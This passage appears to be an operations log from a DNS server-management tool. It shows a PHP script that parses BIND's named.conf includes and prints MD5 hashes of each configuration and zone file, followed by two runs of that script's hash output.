	addEntry($current);
}

2026-04-22 18:13:24: 

runuser -l bind -s /bin/bash -c '/tmp/pkp325690; rm /tmp/pkp325690'

2026-04-22 18:13:24: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-22 18:21:33: Establishing a connection
2026-04-22 18:21:33: 

PUT: /tmp/pkp336624

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-22 18:21:33: 

runuser -l bind -s /bin/bash -c '/tmp/pkp336624; rm /tmp/pkp336624'

2026-04-22 18:21:34: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
